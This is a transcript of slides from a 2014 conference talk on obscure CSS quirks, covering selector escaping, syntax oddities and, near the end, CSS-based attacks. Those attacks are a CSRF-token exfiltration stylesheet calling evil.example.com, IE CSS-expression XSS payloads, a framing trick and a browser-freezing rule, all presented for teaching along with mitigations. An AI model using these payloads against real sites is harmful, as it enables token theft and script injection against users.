3.14 things I didn’t know about CSS @ CSS Day 2014

3.14 things I didn’t know about CSS @ CSS Day 2014

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: http://vimeo.com/channels/cssday/100264064
Links: http://lanyrd.com/2014/cssday/scypwp/

24e08a9ea84deb17ae121074d0f17125?s=128

Mathias Bynens

June 04, 2014
Tweet

Transcript

  1. @mathias · #cssday 3.14 things I didn’t know about CSS

  2. None
  3. None
  4. @mathias

  5. !important

  6. !important .foo .bar { color: red; } .bar { color:

    green; }
  7. http://mths.be/bsh

  8. .foo .bar { color: red; } .bar { color: green

    !important; } !important
  9. http://mths.be/bsh

  10. .foo .bar { color: red; } .bar { color: green

    !important; } !important
  11. .foo .bar { color: red; } .bar { color: green

    !important; } !important ✘
  12. .foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green;

    } New !important best practice ✔ * not really *
  13. http://mths.be/bsh

  14. http://mths.be/bsh

  15. Font family names

  16. Font family names in CSS html {
 font-family: 'Comic Sans

    MS';
 } “If there’s whitespace in the font family name, it must be quoted.”
  17. Font family names in CSS html {
 font-family: Comic Sans

    MS;
 } “If there’s whitespace in the font family name, it must be quoted.” http://mths.be/bft
  18. Font family names in CSS html {
 font-family: 456bereastreet;
 }

  19. Font family names in CSS html {
 font-family: 456bereastreet;
 }

  20. Font family names in CSS html {
 font-family: \34 56bereastreet;


    }
  21. Font family names in CSS html {
 font-family: '456bereastreet';
 }

  22. http://mths.be/bjm

  23. Attribute values

  24. Attribute values <a href="foo">…</a> <style> a[href="foo"] { background: hotpink; }

    </style>
  25. Unquoted attribute values <a href=foo>…</a> <style> a[href=foo] { background: hotpink;

    } </style>
  26. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href=foo|bar] { background: hotpink;

    } </style>
  27. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href=foo|bar] { background: hotpink;

    } </style>
  28. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href="foo|bar"] { background: hotpink;

    } </style> http://mths.be/bal
  29. Unquoted attribute values http://mths.be/bjn

  30. Unquoted attribute values http://mths.be/bjn

  31. CSS comments

  32. CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;

    }
  33. CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;

    } ✔
  34. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    }
  35. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    } ✘
  36. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    } ✔ http://mths.be/brz
  37. CSS comments .some-selector { background: hotpink; colour: red; text-align: center;

    } http://mths.be/brz
  38. CSS comments .some-selector { background: hotpink; colour: red; text-align: center;

    } http://mths.be/brz
  39. CSS comments .some-selector { background: hotpink; colour: red; text-align: center;

    } http://mths.be/brz
  40. ✔ CSS comments .some-selector { background: hotpink; colour: red; text-align:

    center; } http://mths.be/brz
  41. http://mths.be/brz

  42. HTML tags

  43. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Foo</title>
 </head>
 <body>
 …


    </body>
 </html>
  44. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Foo</title>
 </head>
 <body>
 …


    </body>
 </html>
  45. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Huh?</title>
 <body>
 …


  46. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Huh?</title>
 <body>
 …


  47. Valid HTML <!DOCTYPE html>
 <title>lolwut</title>
 …


  48. None
  49. Using CSS without HTML

  50. “No JS” <link href="nojs.css" rel="stylesheet"> http://mths.be/bsf

  51. http://mths.be/bsf

  52. http://mths.be/bsf

  53. None
  54. None
  55. CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  56. CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  57. None
  58. http://mths.be/bsb

  59. U̓ͬ̿͐̚ ͛̐ͩ̈́̀ͮ ̨͢ ̴ ̫̩͈̲̬̭̙͇͙ ̩̮̣ n ̅̒̽͊ͧ͆ͯͨ̍͊ ͜ ̡

    ͜ ̧ ͖ ̲ ̣ ̬ ̳ ͅ ̘͖ ͅ ̗ i͆̿̉̄͒ͭ̉ͥͣ͑ ͏̶̨̛͔̲͈̪̹͎͓͖̙̖̖̯̯̫̙̫̙̦̜̀ç ̯̖̖̬̻̻͉ ̎ͪ̄̀͋̄͐̐̾ͮ̈ͫ̊͗̊́̚ ö́̃̈̾͊ͮ̓ͩͤ̊ͭ̒̅͋͒ͫ̿ ̢ ̕ ̢ ͕ 㸅 ̩͔͙ ̼ͅ 㸅 ̫̩̟̘̹ d͋ͧ͌ͤ ͜ ͘ ͞ ̻̹̪͓̥ e̎ͪ̓̄̓̾ ͢ ̛ ҉ ͍̮͔͍̮͍̳̬ ̊ ̅ͣ̽ͫ̚ ̃ͦͭ ̋͑ ̋ͬͣͬ ̑̒ ̊ ̷ ̩͉͎ ̥͙̹ i ̒͗ͤ̔̈́͑ͫͥ̂͐ͦ͊ͥ̉ ̧ ̛ ̥͓̞͎͉̩̩̪̜̝̮͈͚͚ ͍ n̴̊͊ͧ̌ ͜ ͕͍̩̥̩̪̞̜͓̜ ́ͤͮ̆͒ ҉ ̶ ̧̦ ̖̠̹̗̞̯̳ 㸅 C̎̒̓̊̂̑̐ͥ̂͌ ͛ ̀ ͞ ͡ ̸ ͠ ̦ ̭̲̘͈̥̪̹̟̤͎͉̹̤̳̦ S ͂ ̑ ̑͊ ̓ ̔͑ ͂ͧ͐ ͂ ̆ ̂͗ ̈͞ ̢ ̛ ̡͢ ̲ ̰ ̫̩ ̥ ͓ ̗͚̟͍̘̜̜ Ŝ̒̌̉ͭ̔ͣͣ̇͌̚ ̴ ̧͖̦ ̘̭͇̭̰̹̦
  60. Classes and IDs in HTML <p class="404-error">…</p> <small class="©">legalese</small> <p

    id="—">HTML 4 lyfe, homes!</p> <blockquote class="“”">LOL</blockquote> <p id=" ⌘⌥ ">…</p> <p class="⚠️">Warning: …</p> <p id="#">Outdated browser detected.</p> http://mths.be/afd
  61. Classes and IDs in HTML <p id="#id">Good luck styling me!</p>

    <p class=".class">heh</p> <p id="#id.class:hover{}">huh</p> <p id="[attr='value']">wat</p> http://mths.be/afd
  62. http://mths.be/bsc

  63. Escaping CSS selectors <p id="#id"> #\#id { } <p class=".class">

    .\.class { } <p id="#id.class:hover{}"> #\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { } <p class="[attr='value']"> .\[attr\=\'value\'\] { } <p id="404-error"> #\34 04-error { }
  64. Escaping CSS selectors <p id="#©"> #© { } #\A9 {

    } <p class="—"> .— { } .\2665 { } <p id="“”"> #“” { } #\201C \201D { } <p class="!"> .! { } .\1F4A9 { }
  65. Escaping CSS selectors http://mths.be/bsd

  66. http://mths.be/bpo

  67. http://mths.be/cssescape

  68. Escaping CSS selectors var $el = $('#' + location.hash); //

    … http://mths.be/cssescape
  69. Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape
  70. Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape ✘
  71. Escaping CSS selectors var $el = $('#' + CSS.escape(location.hash)); //

    … ! var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … http://mths.be/cssescape ✔
  72. Using CSS for $evil%

  73. XSS

  74. http://mths.be/bry

  75. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  76. What’s the worst you can do if you have control

    over a page’s CSS?
  77. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  78. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  79. None
  80. None
  81. None
  82. None
  83. None
  84. None
  85. None
  86. None
  87. None
  88. None
  89. None
  90. <input type="hidden" name="csrf-token" id="csrf" value="abcdef…"> Stealing data from the DOM

    http://mths.be/bsj
  91. #csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); }

    #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Stealing data from the DOM http://mths.be/bsj
  92. http://mths.be/bsj

  93. http://mths.be/bsj

  94. http://mths.be/bsj

  95. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  96. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  97. * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  98. None
  99. * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  100. * { width: expression( if (!window.done) alert('XSS through CSS'), window.done=1

    ); } CSS Expressions in IE ≤ 7 http://mths.be/brw
  101. * { wtflol: expression( if (!window.done) open('http://evil.example.com/'), window.done=1 ); }

    CSS Expressions in IE ≤ 7 http://mths.be/brw
  102. None
  103. None
  104. <meta http-equiv="X-UA-Compatible" content="IE=Edge"> IE’s legacy document modes http://mths.be/brx

  105. <meta http-equiv="X-UA-Compatible" content="IE=7"> IE’s legacy document modes http://mths.be/brx

  106. <meta http-equiv="X-UA-Compatible" content="IE=7"> <style> #myDiv { background: hotpink; position: absolute;

    left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 10 http://mths.be/brx
  107. <meta http-equiv="X-UA-Compatible" content="IE=7"> <iframe src="http://target.example.com/ page-containing-css-payload"> </iframe> CSS Expressions in

    IE ≤ 10 http://mths.be/bpu
  108. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  109. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  110. * { background: url('javascript:while(true){}'); } Freezing Firefox http://mths.be/bsa

  111. http://mths.be/brs

  112. http://mths.be/brs

  113. there’s more to CSS than & & the '

  114. there’s more to CSS than & & the '

  115. One More Thing™

  116. p i { color: black; } What band is this?

  117. p i { color: black; } What band is this?

    The Black <i>’d <p>s
  118. The Black <i>’d <p>s

  119. Thanks to: ! Simon Pieters Tab Atkins Martin Kool Mario

    Heiderich Frederik Braun Mike West Divya Manian
  120. Questions? @mathias